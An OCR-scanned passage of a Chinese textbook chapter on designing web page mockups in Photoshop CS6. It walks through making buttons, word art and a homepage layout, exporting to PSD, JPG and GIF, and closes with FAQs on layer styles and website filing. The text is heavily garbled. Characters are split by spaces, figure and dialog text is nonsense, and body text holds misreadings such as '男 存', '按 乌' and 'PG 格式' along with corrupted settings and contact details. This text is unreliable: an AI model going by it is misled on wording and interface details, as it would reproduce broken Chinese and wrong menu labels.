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8-13 ”在 Photoshop 中 对 网 页 进行 区 域 划分 
8.4 网 页 内 容 的 设计 实例 


使 用 Photoshop CS6 设计 网 页 效果 时 ， 需 要 使 用 图 层 、 样 式 、 滤 镜 等 工具 设计 各 类 网 页 元 素 。 本 节 
将 讲述 网 页 中 按钮 与 美术 字 的 设计 。 


8.4.1 网 页 中 按钮 的 设计 


网 页 中 常会 使 用 各 种 按钮 ， 有 些 按钮 是 通过 在 网 页 中 插入 按钮 图 片 来 完成 的 。 下 面 实例 是 使 用 
了 Photoshop CS6 设计 网 页 中 的 按钮 。 

(1) 在 Phtoshop CS6 中 选择 “文件 ”| “新 建 ”命令 ， 新 建 一 张 网 页 效果 图 。 在 “新 建 ”对 话 框 
的 “宽度 ”文本 框 中 输入 “531”， 在 “高 度 ” 文 本 框 中 输入 “78”， 在 “背景 内 容 ”下拉 列 表 框 中 选 
择 “ 白 色 ” 选 项 ， 单 击 “ 确 定 ” 按 钮 ， 新 建 一 张 图片 ， 如 图 8-14 所 示 。 
(2) 选择 按钮 的 颜色 。 单 击 工具 箱 中 的 颜色 工具 ， 在 颜色 选择 对 话 框 中 选择 按钮 的 颜色 。 这 里 设 
置 按钮 的 颜色 为 蓝 色 ， 如 图 8-15 所 示 。 


名 称 (N): 未 标 题 -1 
预 设 (P): 自 定 


小) 
帘 度 (W): 531 外 表 
高 度 (H): 7 像素 bd 


分 兰 (R): 95 仿 素 / 黄 十 > 
颜色 模式 (M): R68 着 多。 8 位 。 ~ 
省 及 内 容 (CO): 白色 ~ 


冯 ) 高 级 


图 8-14 新 建 一 个 网 页 图 片 图 8-15 选择 按钮 的 背景 颜色 
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(3) 选择 Photoshop CS6 的 路 径 工具 ， 在 工具 选项 中 选择 “ 圆 角 拢 形 工具 ”和 “填充 路 径 工具 ”， 
路 径 的 设置 如 图 8-16 所 示 。 


日 -|@20|D 人 DE 加 © /人 -Ite om [Oar a at Kl- ne: ml 
图 8-16 路 径 工具 的 设置 


(4) 使 用 路 径 工具 在 Photoshop 的 工作 区 中 拖 动 ， 画 出 一 个 圆 角 矩形。 这 个 和 矩形 的 大 小 要 合适 ， 
如 图 8-17 所 示 。 


图 8-17 画 圆 角 和 矩形 


(5) 选择 “窗口 ”| “样式 ”命令 ， 打开 “样式 ”面板 。 如 图 8-18 所 示 ， 在 “样式 ”面板 中 选 
择 一 个 样式 单 击 ， 即 可 对 这 个 圆 角 和 矩形 使 用 一 个 样式 。 使 用 了 样式 的 按钮 效果 如 图 8-19 所 示 。 

(6) 在 工具 箱 中 选择 “文本 工具 ”， 在 按钮 上 单 击 添加 一 个 文本 ,设置 文本 的 样式 和 颜色 。 按 钮 
的 效果 如 图 8-20 所 示 。 


ee== = 
8-18 “样式 ”面板 8-19 使 用 了 样式 的 按钮 图 8-20 ”按钮 效果 


(7) 在 “图 层 ” 面 板 中 右 击 按钮 所 在 的 图 层 ， 在 弹出 的 快捷 菜单 中 选择 “复制 图 层 ” 命 令 ， 将 按 
钮 复制 一 个 副本 。 用 同样 的 方法 将 按钮 复制 多 份 。“ 复 制图 层 ” 对 话 框 如 图 8-21 所 示 。 

(8) 将 按钮 排列 整齐 。 在 不 同 的 按钮 上 输入 文本 ， 将 按钮 排列 成 网 页 的 导航 条 。 制 作成 导航 条 的 
按钮 效果 如 图 8-22 所 示 。 


为 (A): EER 
目标 
文档 (D): 未 标题 -1 
Sa 


图 8-21 “复制 图 层 ” 对 话 框 
(9) 将 图 片 保存 为 Photoshop 可 打开 的 PSD 格式 。 选择“ 文件 ” |“ 存储 为 ”命令 ， 弹 出 如 图 8-23 


所 示 的 “存储 为 ”对 话 框 ， 在 “文件 名 ”文本 框 中 输入 需要 保存 的 文件 名 ， 选 择 一 个 保存 目录 ， 在 “ 格 


文件 名 四: 。 对? 
TEST 


刁 作为 了 六 (人 注 本 ON) 
了 Aphz 本 看 (S) 局 
司 BO 


使 术 村 设 于 (0): 工作 中 的 CMYK 
一 ICC 本 四 文件 {C): R63 IEC519662.1 


贺 第 用 小 守 扩 堪 名 (U) 


图 8-23 将 图 片 保存 为 PSD 格式 


(10) 将 图 片 再 保存 一 份 为 JPEG 格式 。 选择 “文件 ”| “存储 为 ” 命令， 弹出 如 图 8-23 所 示 的 “ 存 
储 为 ”对 话 框 ， 在 “文件 名 ”文本 框 中 输入 需要 保存 的 文件 名 ， 选 择 一 个 保存 目录 ， 在 “格式 ”下 拉 
列表 框 中 选择 JpEG 格式 ， 然 后 单 击 “ 保 存 ” 按 乌 。 
C11) 打开 设计 的 图 片 。 打 开 存 储 图 片 的 文件 夹 ， 双 击 打开 存储 的 JPEG 格式 的 文件 ， 可 以 看 到 
所 设计 的 按钮 导航 条 的 效果 。 导 出 的 JPEG 格式 的 按钮 导航 条 如 图 8-24 所 示 。 
EEC 


文件 月 > 打印 (P) ”电子 部 件 (E) 刻录 U) > 打开 (O) > 


SE 


图 8-24 图片 导航 条 的 效果 
8.4.2 ”网 页 中 艺术 字 的 设计 


网 页 图 片 中 的 艺术 字 , 可 以 增强 网 页 内 容 的 表现 效果 。 使 用 Photoshop CS6 可 以 方便 地 创建 出 各 种 
有 创意 的 艺术 字体 。 本 节 是 一 个 艺术 字体 示例 。 


@ 
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(1) 在 Photoshop CS6 中 选择 “文件 ”| “新 建 ” 命 令 ， 新 建 一 张 网 页 效果 图 。 设 置 效 果 图 的 宽 


度 为 778 像素 ， 高 度 为 1000 像素 ， 背 景 为 白色 。 
(2) 建立 文本 。 在 工具 箱 中 选择 “文本 工具 ”， 在 Photoshop 的 工作 区 中 单 击 ， 青 输入 一 个 文本 ， 


效果 如 图 8-25 所 示 。 
| 我 的 个 人 主页 


图 8-25 在 图 片 中 插入 文本 
(3) 在 文本 的 “属性 ”面板 中 ， 设 置 文本 的 大 小 和 字体 ， 如 图 8-26 所 示 。 
[a 车 > Ee LEE IEaIS 
图 8-26 设置 文本 的 样式 


(4) 文字 变形 。 右 击 文本 ， 在 弹出 的 快捷 菜单 中 选择 “文字 变形 ”命令 ， 在 弹出 的 “变形 文字 ” 
对 话 框 的 “样式 ”下 拉 列 表 框 中 选择 “旗帜 ”选项 ， 再 在 滑 杆 上 拖 动 滑 块 ， 设 置 这 个 效果 的 参数 ， 如 
图 8-27 所 示 。 
(5) 单 击 “ 确 定 ”按钮 完成 设置 ， 文 本 变形 的 效果 如 图 8-28 所 示 。 
x =" 


一 样式 (5); 且 租 如 


同 水 平 (H) 癌 重 直 V) 


| me: 450 哆 
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图 8-27 “变形 文字 ”对 话 框 图 8-28 文字 变形 以 后 的 效果 
(6) 在 “样式 ”面板 中 选择 一 个 样式 双击 ， 文 本 会 使 用 这 个 样式 。 如 图 8-29 所 示 为 使 用 了 样式 


以 后 的 文字 效果 。 
| ew 个 全民 


图 8-29 艺术 字体 的 效果 
(7) 样式 工具 一 般 是 一 次 使 用 很 多 效果 ， 如 图 8-30 所 示 是 这 个 艺术 字体 的 图 层 ， 可 以 对 其 中 的 
一 个 样式 进行 具体 设置 。 
(8) 双击 图 层 中 的 一 个 样式 ， 可 以 在 “图 层 样 式 ” 对 话 框 中 对 样式 的 参数 进行 设置 。 如 图 8-31 
所 示 为 图 层 样式 的 设置 ， 可 以 选择 多 种 样式 ， 并 对 各 种 样式 进行 设置 。 


作 与 网 站 建设 技术 详解 


广汉 
广 结 构 


hd@.- J 一 
图 8-30 文本 效果 的 图 层 图 8-31 图 层 样式 的 设置 
(9) 选择 “文件 ”| “存储 为 ”命令 ， 存 储 这 个 文件 。 


8.5 输出 准备 


Photoshop 在 保存 文件 时 ， 一 般 默认 保存 为 .psd 格式 。 这 种 格式 是 Photoshop 的 工作 文件 ， 在 网 页 
上 不 能 使 用 。 网 页 中 使 用 的 图 片 文件 格式 通常 是 JPG 图 片 或 GIF 图 片 ， 所 以 需要 将 Photoshop 设计 的 
文件 进行 导出 。 


8.5.1 ”Photoshop 常用 的 图 片 格式 


在 使 用 Photoshop 制作 网 页 效果 图 时 ， 需 要 理解 Photoshop 和 网 页 中 常用 的 文件 格式 。 网 页 中 的 图 
片 对 文件 大 小 和 存储 质量 也 有 一 些 要 求 。 

回 PSD 格式 : PSD 格式 是 Photoshop CS6 的 工作 文件 。 在 PSD 格式 的 图 片 文件 中 ， 保 留 了 
Photoshop 进行 设计 时 的 层 、 路径、 文本 等 内 容 。 Photoshop 设计 时 的 工程 文件 应 该 保存 为 PSD 
格式 。Photoshop 可 以 打开 PSD 文件 继续 设计 。 

回 JPG 格式 : JPG 格式 是 计算 机 和 网 络 上 常用 的 一 种 图 片 格式 。Photoshop 设计 完成 的 网 页 效果 
图 导出 的 图 片 格式 一 般 是 JPG。JPG 格式 可 以 很 好 地 保证 图 片 的 色彩 ， 使 效果 图 不 会 产生 较 
大 的 失真 。 将 文件 保存 为 卫 G 格式 时 ， 可 以 设置 保存 为 较 大 的 文件 。 在 使 用 Fireworks 进行 切 
割 时 ， 可 以 再 对 图 片 的 大 小 进行 优化 。 

回 GIF 格式 : GIF 格式 是 网 站 上 常用 的 文件 格式 。GIF 图 片 可 以 有 不 同 的 颜色 深度 ， 最 多 支持 
256 种 色彩 。GIF 格式 的 另 一 个 特点 是 其 在 一 个 GIF 文件 中 可 以 存 有 多 幅 彩 色 图 像 , 如 果 把 存 
于 一 个 文件 中 的 多 幅 图 像 依次 显示 ， 就 是 网 页 中 的 GIF 动画 。 网 页 中 的 动画 也 常常 被 制作 成 
GIF 格式 。 
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8.5.2 ”将 图 片 保存 为 PSD 格式 


在 Photoshop 中 设计 的 图 片 , 需要 保存 为 PSD 格式 。PSD 格式 的 图 片 保留 了 图 片 设计 的 对 象 内 容 。 
Photoshop 可 以 再 次 打开 PSD 格式 的 图 片 继续 上 一 次 的 设计 工作 。 

(1) 在 Photoshop CS6 中 选择 “文件 ”| “打开 ”命令 ， 在 弹出 的 “打开 ”对 话 框 中 选择 本 书 光 

盘 中 的 文件 “\ 源 文件 \08\ 原 始 图 片 JPG”， 如 图 8-32 所 示 。 单 击 文件 浏览 器 中 的 图 片 ， 在 “打开 ”对 
话 框 的 下 面 可 以 看 到 图 片 的 预览 图 片 ， 单 击 “ 打 开 ” 按 钮 ， 打 开 图 片 。 

(2) 将 图 片 男 存 为 PSD 格式 。 选 择 “ 文 件 ”|“ 存 储 为 ”命令 ， 弹 出 “存储 为 ”对 话 框 ， 如 图 8-33 

所 示 。 在 “格式 ”下 拉 列 表 框 中 设置 文件 的 格式 为 PSD 格式 ， 在 “文件 名 ”文本 框 中 输入 图 片 的 文件 

名 ， 然 后 单 击 “ 保 存 ” 按 钮 ， 完 成 图 片 的 保存 。 
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图 8-32 ”在 Photoshop CS6 中 打开 一 张 图 片 图 8-33 将 图 片 存储 为 PSD 格式 


8.5.3 将 图 片 导出 为 JPG 格式 


网 页 的 效果 图 完成 设计 以 后 ， 需 要 进行 一 定 的 优化 和 设置 ， 然 后 导出 为 一 张 图 片 。 用 于 Fireworks 
进行 网 页 切 图 的 图 片 一 般 保存 为 PG 格式 。 在 保存 时 ， 应 该 选择 较 好 的 图 片 保存 质量 。 

(1) 在 Photoshop CS6 中 选择 “文件 ”| “打开 ”命令 ， 在 弹出 的 “打开 ”对 话 框 中 选择 本 书 光 
盘 中 的 文件 “\ 源 文件 \08\ 原 始 图 片 JPG”。 

(2) 将 图 片 另 存 为 JPG 格式 。 选 择 “文件 ”| “存储 为 ”命令 ， 弹 出 “存储 为 ”对 话 框 ， 如 图 8-34 
所 示 。 在 “格式 ”下 拉 列 表 框 中 选择 文件 的 格式 为 JPEG 格式 ， 在 “文件 名 ”文本 框 中 输入 图 片 的 文 
件 名 ， 单 击 “ 保 存 ” 按 钮 ， 完 成 图 片 的 保存 。 

(3) 在 保存 时 会 显示 “JPEG 选项 ”对 话 框 ， 如 图 8-35 所 示 。 在 这 个 对 话 框 中 可 以 对 图 片 质量 进 
行 设 置 。 在 “品质 ”下 拉 列 表 框 中 选择 “高 ”选项 ， 在 “品质 ”文本 框 中 输入 “8”。 单 击 “ 确 定 ” 按 


钮 ， 完 成 图 片 的 设置 。 
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8-34 将 图 片 保存 为 了 PG 格式 图 8-35 图 片 保存 为 了 PG 格式 时 的 设置 


8.5.4 将 图 片 导 出 为 GIF 格式 


如 果 网 页 中 需要 直接 使 用 Photoshop CS6 设计 的 图 片 文件 , 且 图 片 没 有 复杂 的 色彩 , 可 以 将 图 片 保 
存 为 GIF 格式 。GIF 格式 具有 很 好 的 压缩 比 ， 产 生 的 文件 很 小 。 

(1) 在 Photoshop CS6 中 选择 “文件 ”| “打开 ”命令 ， 在 弹出 的 “打开 ”对 话 框 中 选择 本 书 光 
盘 中 的 文件 “\ 源 文件 \08\ 原 始 图 片 .JPG”。 

(2) 将 图 片 另 存 为 GIF 格式。 选择 “文件 ”| “存储 为 ”命令 ， 弹 出 “存储 为 ”对 话 框 ， 如 图 8-36 
所 示 。 在 “格式 ”下 拉 列 表 框 中 选择 文件 的 格式 为 GIF 格式 ， 在 “文件 名 ”文本 框 中 输入 图 片 的 文件 
名 ， 单 击 “ 保 存 ” 按 钮 ， 完 成 图 片 的 保存 。 

(3) 在 保存 时 会 显示 “索引 颜色 ”对 话 框 ， 可 以 对 图 片 质量 进行 设置 ， 如 图 8-37 所 示 。 在 “ 调 
板 ” 下 拉 列 表 框 中 选择 默认 的 “局 部 〈 可 选择 ) ”选项 ， 在 “颜色 ”文本 框 中 输入 “256”， 在 “强制 ” 
下 拉 列 表 框 中 选择 默认 的 Web 选项 。 单 击 “ 确 定 ”按钮 ， 完 成 图 片 的 设置 。 
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8-36 将 图 片 保存 为 GIF 格式 图 8-37 图 片 保存 为 GIF 格式 时 的 设置 
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8.6 实例 : 用 Photoshop CS6 设计 一 个 网 页 效果 图 


Photoshop CS6 提供 了 功能 强大 的 平面 设计 能 力 ， 已 经 成 为 平面 设计 技术 的 事实 标准 。 借 助 于 
了 Photoshop CS6 可 以 设计 出 精美 的 网 页 效果 图 。 本 节 以 一 个 个 人 网 站 主页 效果 图 的 设计 为 例 ， 讲 解 如 何 
设计 网 页 效果 图 。 


8.6.1 新 建 一 张 网 页 效果 图 


在 使 用 Photoshop CS6 进行 网 页 效果 图 设计 时 ， 首 先 需 要 新 建 一 张 图 片 。 新 建 图 片 时 ， 需 要 对 图 片 
的 大 小 和 背景 颜色 进行 设置 。 效 果 图 的 大 小 就 是 网 页 的 大 小 ， 图 片 的 背景 颜色 就 是 网 页 的 背景 颜色 。 

(1) 在 Photoshop CS6 中 选择 “文件 ”| “新 建 ” 命 令 ， 新 建 一 张 图 片 。 如 图 8-38 所 示 ， 在 “ 宽 
度 ” 文 本 框 中 输入 网 页 的 宽度 为 “778 ”， 在 “高 度 ” 文 本 框 中 输入 网 页 的 高 度 为 “600”， 在 “分 辨 
率 ” 文 本 框 中 输入 “72”， 在 “背景 内 容 ” 下 拉 列 表 框 中 选择 “白色 ”选项 ， 单 击 “ 确 定 ” 按 钮 ， 即 
可 新 建 一 张 图 片 。 

(2) 在 Photoshop CS6 中 新 建 网 页 效果 图 ， 工 作 界 面 如 图 8-39 所 示 。 
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图 8-38 新建 网 页 效果 图 图 8-39 新 建 图 片 以 后 的 工作 界面 


(3) 用 8.5.2 节 中 的 方法 ， 将 图 片 保存 到 “E:\ps” 文 件 夹 下 ， 保 存 格式 为 PSD 格式 ， 文 件 名 
为 index.psd。 


8.6.2 ”使 用 辅助 线 划分 网 页 区 域 


因为 网 页 中 的 内 容 需 要 按照 一 定 的 布局 和 次 序 排版 ， 而 在 图 片 中 不 方便 对 这 些 内 容 进 行 定位 和 排 
列 ， 这 时 需要 使 用 Photoshop 的 标尺 工具 和 辅助 线 。 借 助 于 它们 ， 可 以 对 网 页 的 效果 图 进行 简单 的 
划分 。 

(1) 选择 “视图 ”| “标尺 ”命令 ， 即 可 在 Photoshop CS6 的 工作 区 中 显示 标尺 ， 如 图 8-40 所 示 。 
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aas mw age 


(2) 单 击 标尺 并 按 住 不 放 ， 向 工作 区 拖 动 ， 就 会 产生 一 条 辅助 线 。 辅 助 线 只 是 在 工作 时 对 图 片 的 
内 容 进行 辅助 定位 ,在 导出 图 片 时 并 不 会 一 起 导出 。 如 图 8-41 所 示 为 Photoshop CS6 图 片 中 的 辅助 线 。 


上 3 


8-40 在 Photoshop CS6 中 显示 标尺 8-41 ”Photoshop CS6 中 的 辅助 线 


《3) 用 辅助 线 可 以 方便 地 实现 网 页 效果 图 内 容 的 定位 。 这 里 需要 使 用 多 条 辅助 线 对 网 页 的 导航 条 、 
Logo、Banner、 版 权 栏 等 内 容 进 行 定位 ， 如 图 8-42 所 示 。 


图 8-42 效果 图 中 用 辅助 线 实现 布局 的 定位 
8.6.3 添加 网 站 的 Logo 


网 站 的 Logo 就 是 网 站 的 标志 。 在 设计 网 页 的 效果 图 时 ， 需 要 设计 出 网 站 的 Logo， 也 可 以 导入 已 
经 设计 好 的 Logo。 添 加 Logo 时 ， 需 要 注意 Logo 图 片 与 网 页 的 效果 图 风格 一 致 。 

(1) 选择 “文件 ”| “打开 ”命令 ,打开 8.6.1 节 新 建 的 网 页 效果 图 。 

(2) 选择 “文件 ”| “ 置 入 ”命令 ， 在 弹出 的 “ 置 入 ”对 话 框 中 选择 本 书 光 盘 中 的 文件 “\ 源 文 
件 \08\logo.jpg”， 然 后 单 击 “确定 ”按钮 。 在 Photoshop CS6 中 置 入 一 张 图 片 ， 如 图 8-43 所 示 。 

(3) 在 置 入 的 图 片上 双击 ， 完 成 图 片 的 插入 。 这 时 ， 插 入 的 图 片 就 是 网 页 效果 图 的 一 个 层 。 

(4) 单 击 所 插入 的 Logo 图 片 ， 鼠 标 左 键 按 住 Logo 图 片 不 放 ， 拖 动 到 网 页 的 左上 角 ， 如 图 8-44 
所 示 。 这 是 因为 网 页 的 Logo 图 片 一 般 都 是 放置 在 网 页 的 左上 角 。 
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3 
| 文档 :1.34Mj0 Del | 文档 134Wloz Pl] 
图 8-43 在 网 页 中 插入 一 张 图 片 8-44 将 Logo 图 片 放置 到 网 页 的 左上 角 


(5) 选择 “文件 ”| “存储 ”命令 ， 保 存 文件 。 


8.6.4 添加 网 站 的 Banner 


网 页 中 的 Banner 就 是 网 页 中 的 广告 。 在 网 页 的 Logo 后 面 常 常 有 一 个 Banner 广告 条 ， 在 设计 网 页 
效果 图 时 ， 需 要 对 Banner 广告 条 进行 设计 。 
(1) 选择 “文件 ”| “打开 ”命令 ， 打 开 8.6.3 节 的 网 页 效果 图 “E:\psvindex.psd”。 

(2) 选择 “文件 ”|“ 置 入 ”命令 ， 在 弹出 的 “ 置 入 ”对 话 框 中 选择 本 书 光盘 中 的 文件 “\ 源 文件 \08\ 
bannerjpg”， 然 后 单 击 “ 确 定 ” 按 钮 完成 导入 。 在 Photoshop CS6 中 置 入 一 张 图 片 的 效果 如 图 8-45 所 示 。 
(3) 在 置 入 的 图 片上 双击 ， 完 成 图 片 的 插入 。 这 时 ， 插 入 的 图 片 就 是 网 页 效果 图 的 一 个 层 。 

(4) 单 击 所 插入 的 Banner 图 片 ， 鼠 标 左 键 按 住 Banner 图 片 不 放 并 拖 动 到 网 页 的 右上 角 ， 如 图 8-46 
所 示 。 这 是 因为 网 页 的 Banner 图 片 一 般 都 是 放置 在 网 页 的 右上 角 。 


TEN 国 EN 可 
图 8-45 在 网 页 中 插入 Banner 图 片 图 8-46 ”网 页 中 的 Banner 图 片 


(5) 在 Banner 图 片上 插入 艺术 字 。 单 击 工 具 箱 上 的 “文本 工具 ”， 然 后 在 工作 区 上 方 的 “格式 ” 
面板 中 设置 文本 的 格式 。 在 字体 中 选择 “宋体 ”， 字 号 设置 为 36， 如 图 8-47 所 示 。 
T- | 下 | 苯 日 开 -| at -| 国生 要 | 基 人 | 自 | 


8-47 ”设置 文本 的 格式 


_ 国 ) 


风机 从 与 网 站 建设 技术 让 


(6) 在 Banner 图 片 的 左 侧 单 击 ， 然 后 输入 需要 插入 的 文本 ， 如 图 8-48 所 示 。 


8-48 在 网 页 中 输入 文本 


(7) 选择 “窗口 ”| “样式 ”命令 ， 打 开 “ 样 式 ” 面 板 ， 如 图 8-49 所 示 。 
(8) 选择 一 个 需要 的 样式 双击 ， 所 输入 的 文字 就 会 应 用 这 个 样式 。 使 用 了 样式 的 文本 如 图 8-50 
所 示 。 网 页 中 的 艺术 字体 都 是 通过 样式 工具 来 完成 的 。 


9S I 


图 8-49 “样式 ”面板 
(9) 选择 “文件 ”| “存储 ”命令 ， 保 存 文件 。 


8.6.5 ”设计 网 页 的 导航 条 


导航 条 的 内 容 可 以 是 图 片 或 者 文字 。 在 设计 网 页 效果 图 时 ， 需 要 设计 出 网 页 导航 条 的 效果 。 如 果 
是 文字 导航 条 ， 需 要 注意 文本 的 颜色 与 网 站 的 风格 一 致 。 
(1) 选择 “文件 ”| “打开 ”命令 ， 打 开 8.6.4 节 的 网 页 效果 图 “FE:\ps\index.psd”。 


(2) 插入 导航 条 的 文本 。 在 字体 中 选择 “宋体 ”， 字 号 设置 为 14， 然 后 在 工作 区 上 单 击 ， 输 入 
交 字 。 


@ 
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(535 ania 插入 的 网 页 导航 条 文字 如 图 8-51 所 示 。 


mm 


首页 ”公司 简介 


公司 产品 。 ”公司 活动 网 站 新 闻 合作 邀请 售后 服务 


图 8-51 设计 网 页 的 导航 条 
(4) 选择 “文件 ”| “存储 ”命令 ， 保 存 文件 。 


8.6.6 设计 网 站 的 内 容 布局 


完成 了 网 页 的 Logo、Banner、 导 航 条 的 内 容 以 后 ， 就 需要 设计 网 页 的 布局 区 内 容 。 网 页 中 部 布局 
区 是 网 页 的 主要 内 容 ， 在 这 一 区 域 的 设置 中 需要 体现 出 网 页 的 网 页 布局 和 风格 。 

(1) 选择 “文件 ”| “打开 ”命令 ， 打 开 8.6.5 节 的 网 页 效果 图 “E:\psvindex.psd”。 

(2) 选择 “文件 ”|“ 置 入 ”命令 ,选择 本 书 光盘 中 的 图 片 “\ 源 文件 \08\picl.jpg”。 在 Photoshop 
CS6 中 置 入 一 张 图 片 的 效果 ， 如 图 8-52 所 示 。 

(3) 在 置 入 的 图 片上 双击 ， 完 成 图 片 的 插入 。 这 时 ， 插 入 的 图 片 就 是 网 页 效果 图 的 一 

(4) 单 击 所 插入 的 Banner 图 片 ， 鼠 标 左 键 按 住所 插入 的 图 片 不 放 ， 拖 动 到 网 页 的 左边 。 网 页 的 
这 个 区 域 设计 为 两 张 广 告 图 片 。 设 计 效 果 图 时 插入 的 图 片 进行 网 页 排版 时 可 以 蔡 换 ， 如 图 8-53 所 示 。 


I 
ed 
蓄 ses - i ; 
图 8-52 ”在 网 页 中 插入 Banner 图 片 8-53 ”插入 的 Banner 图 片 


(5) 用 同样 的 方法 ， 插 入 光盘 中 的 另外 一 张 图 片 “\ 源 文件 \08\pic2.jpg”， 如 图 8-54 所 示 。 

(6) 在 网 页 布局 中 ,小 版 块 的 标题 一 般 是 使 用 Photoshop 制作 的 艺术 字段 。 用 8.4.2 节 中 相同 的 方 
法 ， 在 图 片 中 插入 版 块 的 标题 ， 如 图 8-55 所 示 是 网 页 中 插入 的 版 块 标题 。 

(7) 选择 “文件 ”| “存储 ”命令 ， 保 存 文件 。 


作 与 网 站 建设 技术 详解 
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SS [9 
EA WN 再 页 “又 司 身 复 。 去 司 产 品 公司 后 而“ 网站 新 闻 。。 襄 币 台 请 。 此 后 时 务 。。 联系 方式 
【ee 


图 8-55 在 网 页 中 插入 版 块 链接 


图 8-54 插入 另 一 张 图 片 


8.6.7 ”设计 网 页 的 版 权 栏 


网 站 的 版 权 栏 包括 网 站 内 容 的 版 权 声 明 ， 网 站 的 各 种 信息 、 帮 助 、 联 系 方式 等 内 容 或 一 些 友情 链 
接 的 内 容 。 网 页 中 一 般 在 版 权 栏 上 列 出 网 站 详细 的 联系 信息 ， 以 使 访问 用 户 能 方便 地 与 网 站 联系 。 

(1) 选择 “文件 ”| “打开 ”命令 ， 打 开 8.6.6 节 的 网 页 效果 图 “E:\ps\index.psd”。 

(2) 单 击 工具 箱 上 的 “文本 工具 ”， 在 网 页 的 最 底部 输入 网 站 信息 的 一 些 链接 ， 如 图 8-56 所 示 。 
这 些 链接 在 Dreamweaver CS6 的 排版 中 会 使 用 文字 来 体现 ， 在 Photoshop CS6 设计 效果 图 时 需要 列 出 


这 些 链 接 。 


关于 本 站。 风 站 机 助 ”法 各 志明” 风 北 台 作 。 肢 莉 4 省 


图 8-56 在 网 页 中 插入 版 权 栏 链 接 
(3) 重复 步骤 (2) ， 使 用 “文本 工具 ”， 在 版 权 栏 中 插入 网 站 的 联系 方式 ， 如 图 8-57 所 示 。 


加 ls 


关于 本 站 ”网 站 帮助 ”法律 声明 ”网 站 合作 联系 方式 
B 繁 太 式 :天 京 源 注 区 中 关 村 光 天 指 68 测 导 、00，85886888 市话 ;0106888868 目 


< ET | 
8-57 ”在 网 页 版 权 栏 中 插入 联系 信息 
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首页 公司 简介 公司 产品 。 公司 活动 马 二 新 闻 言 作 六 请 告 后 服务 联系 方式 


类 于 本 站 网 站 帮助 ” 潜 律 声明 。 网 二 育 作 。 配 丙 方式 
中 系 力 式 。 北京 海 社区 中 关 村 北大 衔 EY/ 号 、4Q。 E55355388 站 话 :0103538bt3 


图 8-58 ”设计 完成 的 网 页 效果 图 
(5) 选择 “文件 ”| “存储 ”命令 ， 保 存 文件 。 


87 常见 问题 


在 设计 网 页 的 效果 图 时 ， 需 要 考虑 到 网 页 的 内 容 和 这 些 网 页 效果 的 布局 实现 方式 。 本 节 将 讲述 网 
页 中 如 何 突出 网 页 重点 和 如 何 使 用 Photoshop CS6 的 图 层 样式 。 


8.7.1 怎样 在 网 页 中 体现 出 “眼球 经 济 ” 


注意 力 经 济 又 被 形象 地 称 作 “眼球 经 济 ” (Eyeball Economy) ， 是 指 无 限 的 信息 资源 吸引 人 们 注 
意 力 这 种 有 限 资源 的 过 程 。 在 网 络 时 代 吸 引 人 们 的 注意 力 ， 可 以 在 人 们 的 脑海 中 形成 一 定 的 印象 ， 这 
可 以 给 某 一 产品 或 服务 带 来 巨大 的 市 场 价值 。 

在 网 站 设计 中 也 讲究 这 种 “眼球 经 济 ”。 网 站 的 主页 版 面 应 放置 与 网 站 的 市 场 点 相关 的 重要 内 容 ， 
人 们 在 单 击 网 站 时 ， 无 可 避免 地 会 看 到 和 接受 这 些 内 容 。 这 些 重要 内 容 往往 有 突出 的 色彩 与 内 容 ， 用 
美观 的 设计 吸引 用 户 的 注意 。 用 户 经 常 性 地 看 到 这 些 内 容 后 ， 会 对 这 些 内 容 有 所 接受 和 认可 。 这 就 是 
网 站 设计 中 的 “眼球 经 济 ”。 

在 网 站 效果 图 设计 时 ，“ 了 眼球 经 济 ” 的 表现 形式 往往 是 重点 突出 和 设计 某 些 内 容 ， 让 用 户 可 以 每 
次 注意 到 这 些 内 容 。 突 出 表现 形式 可 以 有 鲜明 色彩 、 动 画 、 醒 目 内 容 等 方式 。 如 图 8-59 所 示 是 淘宝 网 
站 的 首页 。 淘 宝 是 一 个 电子 购物 网 站 ， 这 个 网 站 所 有 的 内 容 都 围绕 着 电子 购物 进行 ， 首 页 的 上 部 和 中 
部 ， 是 用 户 浏览 网 页 时 最 容易 注意 到 的 部 位 ， 需 要 放置 网 站 中 最 有 特色 、 最 重要 的 商品 。 
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8-59 ”网 页 中 的 “眼球 经 济 ” 


怎样 在 Photoshop 中 使 用 图 层 样式 


在 Photoshop 中 对 文字 、 图 片 等 内 容 的 效果 处 理 , 常常 是 用 图 层 样式 来 实现 的 。 样 式 是 把 各 种 效果 
进行 一 定 的 搭配 与 设置 ， 在 使 用 时 直接 使 用 这 一 组 效果 。 图 层 样 式 是 对 图 片 中 的 一 个 图 层 应 用 一 个 样 


一 个 图 层 应 1 
式 效果 , 如 图 8-60 所 示 。 选择 需要 设置 的 图 层 , 单 击 图 层 样式 工具 , 选择 需要 的 样式 , 将 弹出 如 图 8-61 
所 示 的 “图 层 样式 ”对 话 框 。 


8:7:2 


科 面 和 学 赚 
三 结构 


样式 0): 外 利 面 ~ 


[本 为 二 认 值 】 [ 下 们 XH 值 ] 


8-60 图 层 使 用 样式 8-61 “图 层 样式 ”对 话 框 


在 “图 层 样式 ”对 话 框 中 ， 左 边 列 表 是 可 供 选 择 的 样式 。 对 一 个 图 层 可 以 使 用 多 个 样式 ， 选 择 一 
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个 样式 以 后 ， 可 以 在 右边 的 样式 参数 中 对 这 个 样式 进行 设置 。 单 击 “ 确 定 ”按钮 ， 可 完成 样式 的 设置 。 
8.7.3 怎样 在 网 页 的 版 权 区 中 插入 网 站 备案 信息 


信息 产业 管理 部 门 为 了 加 强 对 网 络 信息 和 网 站 的 管理 ， 要 求 所 有 网 站 必须 在 信息 产业 部 网 站 上 进 
行 电子 版 备案 。 

信息 产业 部 网 站 备案 是 一 个 网 站 取得 信息 管理 部 分 行政 认可 的 一 个 步骤 。 信 息 产 业 部 备案 网 站 的 
网 址 是 http://www.miibeian.gov.cn/。 在 备案 时 需要 先 注册 一 个 用 户 名 ， 用 户 名 需要 使 用 有 效 的 电子 信 
箱 和 手机 号 码 分 别 接收 两 个 激活 号 码 激活 注册 的 用 户 名 。 如 图 8-62 所 示 为 在 信息 产业 部 域名 备案 中 心 
进行 的 网 站 备案 注册 。 
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图 8-62 信息 产业 部 网 站 备案 


激活 用 户 名 以 后 ， 需 要 在 网 站 首页 登录 ， 然 后 详细 填写 网 站 的 各 种 信息 。 确 认 填 写 的 信息 以 后 ， 
单 击 “ 提 交 ” 按 钮 。 管 理 部 门 会 根据 提交 的 备案 信息 检查 这 个 网 站 的 内 容 ， 然 后 发 放 一 个 网 站 备案 电 
子 证 书 和 一 个 电子 备案 证 号 。 

